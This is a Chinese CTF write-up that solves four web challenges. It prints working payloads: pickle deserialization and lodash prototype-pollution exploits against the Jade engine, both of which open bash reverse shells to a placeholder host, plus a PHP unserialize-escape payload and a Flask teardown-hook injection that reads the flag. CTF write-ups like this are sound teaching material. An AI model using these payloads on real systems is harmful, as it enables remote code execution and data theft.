首页 > 其他分享 >第二届黄河流域网络安全技能挑战赛Web_wirteup

第二届黄河流域网络安全技能挑战赛Web_wirteup

时间:2024-05-12 20:43:30浏览次数:13  
标签:__ Web return app user key wirteup 挑战赛 login

前言

好久没写过比赛的wp了,黄河流域的web出的不错,挺有意思了,花了点时间,也是成功的ak了

myfavorPython

注册登录,一个base64输入框,猜测pickle反序列化,简单测试下,返回的数据是pickletools.dis解析的opcode结构,猜测其实已经load了,但是没回显,写个反弹shell的opcode:

import pickle
import base64
class Exp(object):
    def __reduce__(self):    
       return (os.system,("bash -c \"bash -i >&/dev/tcp/vps/ip 0>&1\"",))
a = Exp()
print(base64.b64encode(pickle.dumps(a)))

发送,拿到shell,cat flag

Ezzz_Proto

const express = require('express');
const lodash = require('lodash');
const path = require('path');
var bodyParser = require('body-parser');


const app =  express();
var router = express.Router();

app.set('view engine', 'jade');
app.set('views', path.join(__dirname, 'views'));
app.use(bodyParser.json({ extended: true }));


app.get('/',function (req, res) {
    res.send('Hello World');
})

app.post('/post',function (req, res) {
    function merge(target, source) {
        for (let key in source) {
            if (key in source && key in target) {
                merge(target[key], source[key])
            } else {
                target[key] = source[key]
            }
        }
    }
    var malicious_payload = JSON.stringify(req.body);
    var body = JSON.parse(JSON.stringify(req.body));
    var a = {};
    merge(a, JSON.parse(malicious_payload));
    console.log(a.name);
    res.render('index.jade', {
        title: 'HTML',
        name: a.name || ''
    });
})
app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))

阅读源码,merge处可原型链污染,这里用的jade引擎,应该可以打jade的rce,简单找了个payload,{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/ip 0>&1\"'))"}},没打通,追踪一下流程,前面的一切正常,追踪到complie处

compile: function(){
    this.buf = [];
    if (this.pp) this.buf.push("var jade_indent = [];");
    this.lastBufferedIdx = -1;
    this.visitCode(this.node);
    if (!this.dynamicMixins) {
      // if there are no dynamic mixins we can remove any un-used mixins
      var mixinNames = Object.keys(this.mixins);
      for (var i = 0; i < mixinNames.length; i++) {
        var mixin = this.mixins[mixinNames[i]];
        if (!mixin.used) {
          for (var x = 0; x < mixin.instances.length; x++) {
            for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) {
              this.buf[y] = '';
            }
          }
        }
      }
    }
    return this.buf.join('\n');
  },

这里使用的是visitCode去查AST树,上面的payload满足的是使用visit去查,跟进一下,设置val的值为恶意代码即可

visitCode: function(code){
    // Wrap code blocks with {}.
    // we only wrap unbuffered code blocks ATM
    // since they are usually flow control

    // Buffer code
    if (code.buffer) {
      var val = code.val.trim();
      val = 'null == (jade_interp = '+val+') ? "" : jade_interp';
      if (code.escape) val = 'jade.escape(' + val + ')';
      this.bufferExpression(val);
    } else {
      this.buf.push(code.val);
    }

    // Block support
    if (code.block) {
      if (!code.buffer) this.buf.push('{');
      this.visit(code.block);
      if (!code.buffer) this.buf.push('}');
    }
  },

所以最终的payload为:{"__proto__":{"compileDebug":1,"self":1,"val":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'))"}}
拿到shell,cat flag

逃跑大师

<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start, $end + 1 - $start);
}
class A{
    public $A;
    public $B = "HELLO";
    public $C = "!!!";
    public function __construct($A){
        $this->A = $A;
    }
    public function __destruct(){
        $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
        echo $key;
        eval($key);
    }
}
if(isset($_POST['escape'])) {
    $Class = new A($_POST['escape']);
    $Key = serialize($Class);
    $K = str_replace("SDPCSEC", "SanDieg0", $Key);
    unserialize($K);
}
else{
    echo "nonono";
} nonono

反序列化逃逸,利用点在eval($_key),我们得控制$key的值,$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]"); 我们逃逸可以控制$B$C的值,分析一下substrstr函数,根据[,] 的位置来截取字符串,这里有点讲究,这里假设$C=1,后面拼接了[welcome sdpcsec1]18个字符,我们截取到-18即可,控制$end=0$start=19,即]111111111111111111[phpinfo()]; ,这样就能成功执行phpinfo,接下来看逃逸,增量逃逸,简单构造下逃逸的字符串:";s:1:"B";s:41:"]111111111111111111[system("cat /flag")];";s:1:"C";s:1:"1";} ,长76,在前面加上76个SDPCSEC ,post拿到flag

Python-revenge

import base64
import io
import os
import pickle
import pickletools
import sys

from flask import Flask, render_template, request, redirect, url_for, session
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user

app = Flask(__name__)
app.secret_key = 'welcome_to_here'  # 修改为一个随机的密钥

# 初始化 Flask-Login
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

# 模拟一个用户类
class User(UserMixin):
    def __init__(self, id):
        self.id = id

# 模拟用户数据库
users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}}

@login_manager.user_loader
def load_user(user_id):
    return User(user_id)




@app.route('/login', methods=['GET', 'POST'])

def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user_data = users.get(username)
        if user_data and user_data.get('password') == password:
            user = User(username)
            login_user(user)

            session['role'] = 'admin' if username == 'admin_id' else 'user'

            return render_template('index.html')
    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    logout_user()
    session.pop('role', None)
    return redirect(url_for('login'))

@app.route('/', methods=['GET', 'POST'])
@login_required
def index():
    results = ""
    if request.method == 'POST':
        a = request.form['text']
        output = io.StringIO()
        try:
            decoded_data = base64.b64decode(a)
            if b'before' in decoded_data or b'after' in decoded_data:
                results = "不可以添加函数!"
                return render_template("index.html",results=results)
            elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data:
                results = "不能写文件嗷!"
                return render_template("index.html",results=results)
            else:
                pickle.loads(decoded_data)
            with io.StringIO() as file:
                old_stdout = sys.stdout
                sys.stdout = file
                try:
                    pickletools.dis(decoded_data)
                finally:
                    sys.stdout = old_stdout
                results = file.getvalue()
        except:
            results = "error"

        return render_template('index.html', results=results)
    else:
        return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        # 检查用户名是否已存在
        if username in users:
            return "用户名已存在,请选择其他用户名"

        # 创建新用户
        users[username] = {'password': password, 'role': 'user'}

        # 登录新用户
        user = User(username)
        login_user(user)

        return redirect(url_for('index'))

    return render_template('register.html')


if __name__ == '__main__':
    app.config['SESSION_COOKIE_NAME'] = 'session'
    app.run(host='0.0.0.0', port=5000)

逻辑跟第一道web题一样,不过这次不出网,而且还有黑名单,常规的内存马写法被限制的死死的,翻阅源码的钩子函数,找到个teardown_request,这个函数会在每次request后执行,即使抛出异常也会执行(在debug=False)的情况下,简单构造一下:app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))
base64的数据为:cat flag.txt > /app/static/flag.txt

import pickle
import base64

class Exp(object):
    def __reduce__(self):    
       return (eval,("app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",))
a = Exp()
print(pickle.dumps(a))
print(base64.b64encode(pickle.dumps(a)))

post数据,访问/static/flag.txt拿到flag

标签:__,Web,return,app,user,key,wirteup,挑战赛,login
From: https://www.cnblogs.com/F12-blog/p/18187951

相关文章

  • 在Linux中,如何配置Apache或Nginx Web服务器?
    配置Apache或NginxWeb服务器涉及到多个方面,包括安装、基本设置、虚拟主机配置、性能优化等。以下是配置这两种流行Web服务器的一般步骤:1.ApacheWeb服务器配置安装Apache:对于基于Debian的系统(如Ubuntu):sudoapt-getupdatesudoapt-getinstallapache2对于基于Red......
  • 基于webapi的websocket聊天室(三)
    上一篇处理了超长消息的问题。我们的应用到目前为止还是单聊天室,这一篇就要处理的多聊天室的问题。思路第一个问题,怎么访问不同聊天室这个可以采用路由参数来解决。我把路由设计成这样/chat/{room}。访问不同路径就代表进入不同聊天室。第二个问题,怎么创建不同的聊天室原......
  • Blazor WebAssembly使用 AuthenticationStateProvider 自定义身份认证
    本文章以客户端基础,实现类似后台系统,进入后台控制台页面需要经过登录身份验证才可访问情况简单来时就是实现前后端分离,前端通过token和用户信息进行身份认证,或者在 AuthenticationStateProvider 实现方法 GetAuthenticationStateAsync 中调用后台接口进行身份验证安装依......
  • 基于webapi的websocket聊天室(二)
    上一篇-基于webapi的websocket聊天室(一)消息超传缓冲区的问题在上一篇中我们定义了一个聊天室WebSocketChatRoom。但是每个游客只分配了400个字节的发言缓冲区,大概100字。如果需要发送更多内容呢?难道直接增大缓冲区?这是一个办法。但还有其他办法。多次接受消息可以多次调......
  • webgl和canvas的区别
    webgl和canvas的区别WebGL和Canvas的主要区别在于它们的渲染方式、功能复杂性、以及编程难度。12渲染方式:Canvas使用2D渲染上下文来绘制图形和图像,基于像素的绘图系统,通过JavaScript脚本控制渲染过程。而WebGL(WebGraphicsLibrary)是基于OpenGLES标......
  • SpringBoot3集成WebSocket
    标签:WebSocket,Session,Postman。一、简介WebSocket通过一个TCP连接在客户端和服务器之间建立一个全双工、双向的通信通道,使得客户端和服务器之间的数据交换变得更加简单,允许服务端主动向客户端推送数据,在WebSocket的API中,浏览器和服务器只需要完成一次握手,两者之间就直接可以创......
  • Webshell流量分析之菜刀Chopper&蚁剑AntSword
    目录中国菜刀蚁剑菜刀和蚁剑的一句话木马的流量都有一个特点,都没有加密的,使用wireshark抓包来分析。中国菜刀中国菜刀是一款经典的webshell管理工具,具有文件管理、数据库管理、虚拟终端等功能。这里以菜刀2016为例。在服务器准备php一句话木马:<?php@eval($_POST['pass']);?>......
  • 使用nodejs创建返回xml的web server
    //ImportNode.jscoremodulei.ehttpconsthttp=require('http');constfs=require('fs').promises;consthost='localhost';constport=8000;constrssFileName="/news.rss";//Createwebserverconstserve......
  • 基于webapi的websocket聊天室
    上一次我已经讲了在webapi主机上面加入websocket中间件。这次就更进一步,搭建一个websocket局域网聊天室。传送门-->webapi添加添加websocket中间件聊天室websocket通信其实和win32api里面的消息循环差不多,只不过一个消息来自操作系统,一个来自网络。但核心都是一个阻塞的while......
  • gradio 将 webui 从 127.0.0.1 映射到局域网 IP
    在局域网中,假设当前用Python调试gradiowebui的设备IP地址是192.168.1.101,若app.py内容如下:importgradioasgrwithgr.Blocks()asdemo:#TODO:demo.launch(server_name="0.0.0.0")运行即可实现将127.0.0.1:7860映射到192.168.1.101:7860其实是launch......